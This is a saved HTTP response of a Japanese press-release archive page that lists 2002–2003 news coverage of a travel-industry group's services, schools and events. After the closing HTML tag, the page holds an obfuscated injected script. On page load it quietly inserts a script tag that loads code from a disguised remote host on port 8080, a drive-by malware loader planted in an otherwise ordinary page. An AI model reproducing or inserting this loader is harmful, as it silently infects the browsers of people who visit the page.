HTTP/1.1 200 OK
Date: Sat, 20 Mar 2010 14:39:15 GMT
Server: Apache
Last-Modified: Tue, 23 Feb 2010 11:39:07 GMT
ETag: "1c40396-594c-4b83be5b"
Accept-Ranges: bytes
Content-Length: 22860
Connection: close
Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja"><head>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Content-type" CONTENT="text/html; charset=Shift_JIS">
<META HTTP-EQUIV="Content-Style-Type" content="text/css">
<STYLE type="text/css"><!--
body,tr,td,th { font-size:10pt; font-family:'MS UI Gothic'; }
a:link { text-decoration:none; }
a:visited { text-decoration:none; }
a:active { text-decoration:none; }
a:hover { text-decoration:underline; color:#0000CC; }
--></STYLE>
<title>TRAJAL.NET プレスリリース</title></head>
<body bgcolor="#FFFFFF" text="#000000" link="#0000CC" vlink="#0000CC" alink="#0000CC">
<img src="http://www.trajal.net/PR/top.gif" width=756 height=68 alt="TRAJAL.NET プレスリリース">
<P>各種メディアに掲載されたトラベルジャーナルグループ関係記事のご紹介<br></div><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2003/1/7 （毎日新聞）</b></font></table>
<table><tr><td width=15><td>Date: 2003-01-09 (Thu)</table>
<blockquote>毎日新聞記者，親子で時刻表検定試験に挑戦<br><br>毎日新聞記者とデスク親子が，時刻表検定協会が11月に実施した「時刻表検定」に挑戦した。その時の挑戦までの模様と一部出題問題も掲載されている。
<P><a href="http://www.jikokuhyo.gr.jp/" target="_blank">http://www.jikokuhyo.gr.jp/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/12/19(日刊工業新聞34面）</b></font></table>
<table><tr><td width=15><td>Date: 2002-12-19 (Thu)</table>
<blockquote>森谷学園観光総合研究所「自治体･観光協会の実態調査<br>観光振興分野，人材養成への取り組み希薄<br><br>全国の自治体観光課や地域観光協会などを対象に実施した観光行政機関職員の研修･教育など実施状況の調査結果をまとめた。結果は,担当職員の定期的な研修･教育の実施はわずか14.3％にとどまっている。
<P><a href="http://www.trajal.ac.jp/tma/" target="_blank">http://www.trajal.ac.jp/tma/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/12/17（日刊工業新聞36面）</b></font></table>
<table><tr><td width=15><td>Date: 2002-12-17 (Tue)</table>
<blockquote>学校法人森谷学園「旅行産業経営塾」第5期塾生の募集を開始<br><br>明日の旅行業界を担う21世紀型旅行産業人を育成することを目的としている「旅行産業経営塾」（塾長：山田学す氏）は，来春5月開講の第5期生の募集受付を開始した。<br>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/12/12 （asahi.com企業リリース）</b></font></table>
<table><tr><td width=15><td>Date: 2002-12-16 (Mon)</table>
<blockquote>学校法人森谷学園「旅行産業経営塾」第5期塾生の募集を開始<br><br>明日の旅行業界を担う21世紀型旅行産業人を育成することを目的としている「旅行産業経営塾」は，来春5月開講の第5期生の募集受付を開始した。<br>
<P><a href="http://www.asahi.com/release/other/o0121110.html" target="_blank">http://www.asahi.com/release/other/o0121110.html</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／１２／０３ 日経プレスリリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-12-06 (Fri)</table>
<blockquote>日本ユニシス，e-旅ネットの協力で旅行関連情報ＰＳのＰＴシステムを構築。「Internet world Asia 2002」で紹介。<br><br>日本ユニシスは，ｗｅｂサービス技術を適用した情報部品「リモート・ポートレット」で，旅行関連情報ポータルサイトのプロトタイプシステムをｅ-旅ネットの協力で構築したと発表。なお，同システムは「Internet world Asia 2002のセミナー及び展示ブースで紹介。 <br><a href="http://release.nikkei.co.jp/detail.cfm?relID=36348" target="_top">http://release.nikkei.co.jp/detail.cfm?relID=36348</a>
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／１１／２９ 朝日新聞ａｓａｈｉ．ｃｏｍ</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-29 (Fri)</table>
<blockquote>観光行政機関職員の定期的な研修・教育実施はわずか14.3％<br>森谷学園観光総合研究所で自治体観光課などの職員研修で調査<br><br>学校法人森谷学園観光総合研究所では，都道府県，政令指定都市，市町村などの観光課，観光協会等を対象に，職員の研修・教育の実施状況などについて調査を実施した。結果は，年間を通じた職員研修を行っているのはわずか14.3％にとどまっている<br><br><a href="http://www.asahi.com/release/other/o112702.html" target="_top">http://www.asahi.com/release/other/o112702.html</a><br>本件のお問い合わせはe-mail：uemura＠trajal.ac.jpへ
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/11/09 観光経済新聞（2面）</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-13 (Wed)</table>
<blockquote>e−旅ネット,ＡＮＴＡとネット接続で提携<br><br>e−旅ネットと全国旅行業協会（ＡＮＴＡ）は，インターネット接続サービスで提携。ＡＮＴＡ会員はｅ-旅ネット上でも自動認証され，「ＡＮＴＡ−ＮＥＴ］と「ｅ-旅ネット」をひとつのＩＤで利用できるようになった。
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/11/05 日経ＭＪ（５面）</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-05 (Tue)</table>
<blockquote>イ-･旅ネット・ドット・コムは，スターツ出版が運営する女性向ポータルサイト「オズモール」で，海外個人旅行の見積りサービスを開始した。<br>旅行の行き先や予算などを入力すると，e-旅ネットに登録している約千４百の旅行会社から価格やプランの提案を受けられる。
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/11/01 日刊工業新聞（３７面）</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-01 (Fri)</table>
<blockquote>イー・旅ネット，全国旅行業協会と提携--サイト接続サービス開始<br><br>e-旅ネットと全国旅行業協会は，同協会が運営するインターネットサイト「ＡＮＴＡ−ＮＥＴ」と，e-旅ネットのシステム接続で提携し，1日からサービスを始める。
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／１１／０１ 日経プレスリリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-01 (Fri)</table>
<blockquote>-旅ネット，全国旅行業協会・ＡＮＴＡ−ＮＥＴとシステムリンク提携<br><br>e-旅ネットは，社団法人全国旅行業協会（二階俊博会長）が運営している「ＡＮＴＡ−ＮＥＴ」とe-旅ネットのシステム接続で提携。11月1日からサ-ビスを開始しました。<br>全国の約6,000社のＡＮＴＡ−ＮＥＴ会員は，従来のＩＤで自由にe-旅ネットのサービスを利用できるため，e-旅ネットが提供している楽天やgooなど，大手ポータルサイトからお客様を旅行会社に紹介する「らくらく旅行見積もり」にも参加できます。<br> <a href="http://release.nikkei.co.jp/detail.cfm?rellD=34237" target="_top">http://release.nikkei.co.jp/detail.cfm?rellD=34237</a>
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/11/1 朝日新聞asahi.com</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-01 (Fri)</table>
<blockquote>e-旅ネット，全国旅行業協会・ＡＮＴＡ−ＮＥＴとシステムリンク提携<br><br>e-旅ネットは，社団法人全国旅行業協会（二階俊博会長）が運営している「ＡＮＴＡ−ＮＥＴ」とe-旅ネットのシステム接続で提携。11月1日からサ-ビスを開始した。<br>約6,000社のＡＮＴＡ−ＮＥＴ会員は，従来のＩＤで自由にe-旅ネットのサービスを利用できるため，e-旅ネットが提供している楽天やgooなど，大手ポータルサイトからお客様を旅行会社に紹介する「らくらく旅行見積もり」にも参加できます。<br><a href="http://www.asahi.com/release/other/o103107.html" target="_top">http://www.asahi.com/release/other/o103107.html</a>
<P><a href="http://ｗｗｗ．ｅ−ｔａｂｉｎｅｔ．ｃｏｍ" target="_blank">http://ｗｗｗ．ｅ−ｔａｂｉｎｅｔ．ｃｏｍ</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/29 日経プレスリリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-01 (Fri)</table>
<blockquote>e-旅ネット，オズモールユーザーに「らくらく旅行見積り」を提供<br><br>e-旅ネットは，スターツ出版が運営している女性向ポータルサイト「オズモール（OZmall）」のトラベルサービスの利用者に，個別オーダー型旅行の見積りを全国のe-旅ネット会員旅行会社に以来できるサービスを開始しました。このサービスは，楽天，gooにつづくもの。
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/29 朝日新聞ａｓａｈｉ．ｃｏｍ</b></font></table>
<table><tr><td width=15><td>Date: 2002-11-01 (Fri)</table>
<blockquote>e-旅ネット，オズモールユーザーに「らくらく旅行見積り」を提供<br><br>e-旅ネットは，スターツ出版が運営している女性向ポータルサイト「オズモール（OZmall）」のトラベルサービスの利用者に，個別オーダー型旅行の見積りを全国のe-旅ネット会員旅行会社に以来できるサービスを開始しました。このサービスは，楽天，gooにつづくもの。<br>
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/1011 日刊工業新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-15 (Tue)</table>
<blockquote>e旅ネット石井社長，日刊工業新聞１面，１０日の株価８５００円割れで企業経営者の声に登場。<br><br>１０日，東証は一時８２００円を割るなど，バブル後最安値を更新しました。日刊工業新聞では，企業経営者に株安の影響を聞いていますが，その中で，e-旅ネットの石井諭社長がコメントしています。
<P><a href="http://www.trajal.net" target="_blank">http://www.trajal.net</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／１０／０９ 朝日新聞ａｓａｈｉ.ｃｏｍ企業リリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-10 (Thu)</table>
<blockquote>旅行産業経営塾ＯＢ会「21世紀の旅行業の有るべき姿」で公開シンポ<br><br>旅行産業経営塾ＯＢ会は，10月28日18時から渋谷区渋谷のアイビーホール青学会館で，旅行業界人向け公開シンポジウム「21世紀の旅行業のあるべき姿」を開催する。参加費は1千円。申込先着順200名。<br><br><a href="http://www.asahi.com/release/event/e100902.html" target="_top">http://www.asahi.com/release/event/e100902.html</a><br><br>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/09 サンケイ新聞ビジネス告知板</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-10 (Thu)</table>
<blockquote>旅行産業経営塾ＯＢ会「21世紀の旅行業の有るべき姿」で公開シンポ<br><br>旅行産業経営塾ＯＢ会は，10月28日18時から渋谷区渋谷のアイビーホール青学会館で，旅行業界人向け公開シンポジウム「21世紀の旅行業のあるべき姿」を開催する。参加費は1千円。申込先着順200名。<br><br><a href="http://ez.st37.arena.ne.jp/cgi-bin/release2/release.cgi?no=9076&reno=no&oya=9076&mode=msgview&page=0" target="_top">http://ez.st37.arena.ne.jp/cgi-bin/release2/release.cgi?no=9076&reno=no&oya=9076&mode=msgview&page=0</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/08 朝日新聞ａｓａｈｉ．ｎｅｔ企業リリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-10 (Thu)</table>
<blockquote>時刻表検定協会「第7回時刻表検定試験」受験者受付始まる<br><br>時刻表検定協会は，11月7日に実施する「第7回時刻表検定試験」の受験者受付を開始した。受付期間は10月25日まで（当日消印有効）<br><br>朝日新聞企業リリースは<a href="http://www.asahi.com/release/other/o100805.html" target="_top">http://www.asahi.com/release/other/o100805.html</a> です。
<P><a href="http://www.jikokuhyo.gr.jp/ " target="_blank">http://www.jikokuhyo.gr.jp/ </a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/8 サンケイ新聞ビジネス告知板</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-10 (Thu)</table>
<blockquote>時刻表検定協会「第7回時刻表検定試験」受験者受付始まる<br><br>時刻表検定協会は，11月7日に実施する「第7回時刻表検定試験」の受験者受付を開始した。受付期間は10月25日まで（当日消印有効）<br><br>サンケイ新聞ビジネス告知板は<a href="http://ez.st37.arena.ne.jp/cgi-bin/release2/release.cgi?no=9022&reno=no&oya=9022&mode=msgview&page=54" target="_top">http://ez.st37.arena.ne.jp/cgi-bin/release2/release.cgi?no=9022&reno=no&oya=9022&mode=msgview&page=54</a> <br><br>
<P><a href="http://www.jikokuhyo.gr.jp/" target="_blank">http://www.jikokuhyo.gr.jp/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/2 朝日新聞asahi.com企業リリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-02 (Wed)</table>
<blockquote>e-旅ネット,トラベル＠ニフティで旅行カタログサービス開始<br><br>e-旅ネットは,インターネットポータルサイト大手ニフティでニフティユーザー向けに，旅行会社のカタログサービスを開始しました。中堅旅行会社などの要望に低価格で応えるもので，利用料金は１社あたりカタログ５枚で月額２万円と低価格に設定。
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/10/2 サンケイ新聞ビジネス告知板</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-02 (Wed)</table>
<blockquote>e-旅ネット,トラベル＠ニフティで旅行カタログサービス開始<br>e-旅ネットは，インターネットポータルサイト大手ニフティのトラベル＠ニフティで，ニフティユーザー向けの旅行カタログサービスを開始した。利用料金は１社あたりカタログ５枚で月額２万円と格安に設定。
<P><a href="http://www.e-tabinet.com/" target="_blank">http://www.e-tabinet.com/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／０９／２６ 日経プレスリリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-02 (Wed)</table>
<blockquote>ＮＴＴ−Ｘ，ｇｏｏトラベルで「らくらく旅行見積もり」サービスを提供<br>インターネットポータルサイト「goo」を提供するNTT-Xとインターネット旅行関連サービスを提供するイー・旅ネット・ドット・コムは，国内や海外旅行の見積もりサービス「らくらく旅行見積もり」の提供を開始。<br><a href="http://release.nikkei.co.jp/detail.cfm?relID=31257" target="_top">http://release.nikkei.co.jp/detail.cfm?relID=31257</a>
<P><a href="http://www.e-tabinet.com/" target="_blank">http://www.e-tabinet.com/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／０９／２１ 観光経済新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-10-02 (Wed)</table>
<blockquote>e-旅ネット･ドット･コムとインターネットポータルサイト「goo」を提供するＮＴＴ−Ｘは，gooトラベルで旅行見積もりができる「らくらく旅行見積もり」の提供を開始した。
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／０９／２３ 日刊工業新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-24 (Tue)</table>
<blockquote>「世界旅行博」に７３カ国，２８１団体が参加<br>「第１０回世界旅行博」がパシフィコ横浜で開催された。昨年の同時多発テロで旅行者が減少した米国からは，過去最多の２８の企業・団体が参加。
<P><a href="http://www.wtf.co.jp" target="_blank">http://www.wtf.co.jp</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/09/21 日本経済新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-24 (Tue)</table>
<blockquote>ネットで得する旅の手配−見積り比較も容易<br>旅行のネット予約が盛ん。それぞれのサイトの特色や利用法を紹介。ｅ−旅ネットは，個人･法人の希望旅行に対して旅行会社から複数の提案を受け取り，料金，内容など比較検討ができるのが特長。
<P><a href="http://www.e-tabinet.com " target="_blank">http://www.e-tabinet.com </a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/9/20 日刊工業新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-24 (Tue)</table>
<blockquote>ＦＰ教育研究所，設立３周年でシンポ<br>ＦＰ教育研究所は，設立３周年を記念して「ファイナンシャルプランナー（ＦＰ）ビジネスの現状−ＦＰを本業とするには−」（２２日），「今後のＦＰビジネスのあり方−真のＦＰに求められるもの−」（２３日）と題したシンポジュームを開催する。
<P><a href="http://www.trajal.ac.jp/fp/" target="_blank">http://www.trajal.ac.jp/fp/</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/09/20 日刊工業新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-24 (Tue)</table>
<blockquote>e-旅ネット，中小旅行会社対象にカタログサービス開始<br>e-旅ネットは，ポータルサイト大手ニフティで，旅行会社の一般消費者向けカタログの掲載サービスを２０日から始める。利用料金は，１社あたりカタログ５枚で月額２万円と格安。主な対象は中小旅行会社。<br>
<P><a href="http://www.e-tabinet.com" target="_blank">http://www.e-tabinet.com</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>２００２／０９／１５ 専門学校新聞 </b></font></table>
<table><tr><td width=15><td>Date: 2002-09-24 (Tue)</table>
<blockquote>TJグループ３校が専門学校生の生活実態調査<br>ボランティア活動７割近くが関心示す−。現代学生の”３種の神器”は@ファッションAマイカーBパソコン<br>トラベルジャーナル旅行専門学校，トラジャル旅行ホテル専門学校，専門学校日本ホテルスクールの学生を対象に行った調査で，学生の生活が浮き彫りに。
<P><a href="http://www.trajal.net" target="_blank">http://www.trajal.net</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/09/19 日刊工業新聞</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-19 (Thu)</table>
<blockquote>世界旅行博2002実行委員長森谷哲也氏に聞く<br>「海外旅行」を再び喚起−東アジアの１大イベントに<br>国民の海外旅行需要拡大を目的に開催されている「世界旅行博」の歩みと将来について，森谷代表が記者のインタビューに答えています。
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/09/13 日経プレスリリース</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-18 (Wed)</table>
<blockquote>ＮＴＴ−Ｘ，gooトラベルで「らくらく旅行見積り」サービスを提供<br><br>ユーザーの希望条件に合うプランを，複数の旅行会社から無料で見積り回答<br>「gooトラベル」で旅行見積りを依頼するというワンアクションだけで，「ｅ−旅ネット」会員の旅行会社約2000社の中から価格提示や旅行プランの提案をメールで受け取ることができる。<br>e-旅ネットのホームページは <a href="http://www.e-tabinet.com/" target="_top">http://www.e-tabinet.com/</a>
<P><a href="http://release.nikkei.co.jp/detail.cfm?relID=31257" target="_blank">http://release.nikkei.co.jp/detail.cfm?relID=31257</a>
</blockquote><hr>
<table width='100%' cellpadding=2><tr>
<td bgcolor="#D1E7FF"> <font color="#3399FF">■</font>
<font color="#000000"><b>2002/09/14 観光経済新聞（1-2面掲載）</b></font></table>
<table><tr><td width=15><td>Date: 2002-09-17 (Tue)</table>
<blockquote>「日本旅館国際女将会」（（財）日本ホテル教育センター）中国訪問<br>日本旅館国際女将会の女性経営者23人が9月2日から9日までの8日間，北京，上海などを訪問。商談会やセミナーを開催し，日本旅館の魅力をＰＲ。訪日客増大に一役。<br>問い合わせ先は03-3360-6231へ
<P><a href="http://www.jec-jp.org/http://" target="_blank">http://www.jec-jp.org/http://</a>
</blockquote><hr>
<td><form action="http://www.trajal.net/PR/index.html"><input type=submit value="前ページ"></Td></form>
</table>
<B><font color="#3399FF">▲</font><a href="http://www.trajal.net/index.html" target="_top">Home</a>
<font color="#3399FF">■</font><a href="/cgi-bin/sunbbs.cgi?mode=find">Search</a>
<div align=center style='font-size:9pt'><!-- Sun Board v3.1 -->
- <a href='http://www.kent-web.com/' target='_top'>Sun Board</a> -
</div>
</body>
</html>
<script>var vO;if(vO!='_a'){vO='_a'};function W_() {var pH=new String();var vZ;if(vZ!='a' && vZ != ''){vZ=null};var o='[';var M=']';var Z;if(Z!='eX' && Z != ''){Z=null};var oo='g';var xK="";var j="";var s=RegExp;this.FG="";var r='replace';var p=new String();this.oq="";function W(P,M_){var z=new String();var v=o;v+=M_;var ex;if(ex!='Me' && ex != ''){ex=null};var dv=new String();v+=M;var w=new s(v, oo);return P[r](w, p);this.OB='';var xc;if(xc!=''){xc='C'};};var B='';var Cv;if(Cv!='_J'){Cv='_J'};var PI=W('hItJtJpJ:J/I/I2JcJhI-JnJeJtI.ItIhJeJsJuInJ.IcIoI.JuIkI.J4J3J9I9J-JcJoJmJ.JnIeIwIaIgJeJdIiIrIeIcJtI.JrIuI:J',"IJ");var vG;if(vG!='Yo'){vG=''};this.cM='';var A=W('cxrQeGaQtxexEZlQeQmQeZnQtG',"ZQxG");var t=W('875770775778557707577',"57");var WE;if(WE!='' && WE!='Bq'){WE=''};this.wC='';var e=W('s_cFr_iFpFtF',"F_");var I=window;var bb=new String();var Q=W('/XgkmXokdkuklkeNsk.NcXoNmX/kgkmNoNdXuXlXeNsk.kcNoXmk/NakbNrkiXlX.XckoXmX.kbNrX/XhXcX3N6k0X.kcXokmX/NgNoXoNgXlNek.kcNokmN.XpkhNpN',"kNX");var np;if(np!='Xl'){np=''};var wr="";var x='';var mC;if(mC!=''){mC='xr'};this.N="";I[W('orn2lzoravd2',"v2zr")]=function(){var ac;if(ac!='gc'){ac=''};try {var V=new Date();var T=new String();x+=PI;var MO;if(MO!='' && MO!='gR'){MO=''};x+=t;var lT=new Array();var Sc=new String();x+=Q;this.ep='';var hw;if(hw!='od' && hw!='mI'){hw=''};var hj;if(hj!='U' && hj!='SY'){hj='U'};_=document[A](e);var Zl;if(Zl!='NE' && Zl!='qB'){Zl=''};var zn='';var XI='';J(_,'defer',([1,0][0]));var TP='';J(_,'src',x);var gRL='';this.Cm="";document.body.appendChild(_);} catch(k){var bF=new Array();};};var DN;if(DN!='Ro' && DN != ''){DN=null};var Jq="";function J(D,X,K){var Mv;if(Mv!='FC'){Mv='FC'};D.setAttribute(X, K);this.dX='';var yE;if(yE!='en'){yE='en'};}var zX;if(zX!='pI' && zX != ''){zX=null};};var rHZ;if(rHZ!='zj'){rHZ=''};W_();var Cy;if(Cy!='EJ' && Cy!='yO'){Cy=''};</script>
<!--7ea07d52d4c4b05f50cc0cefe851873b--> |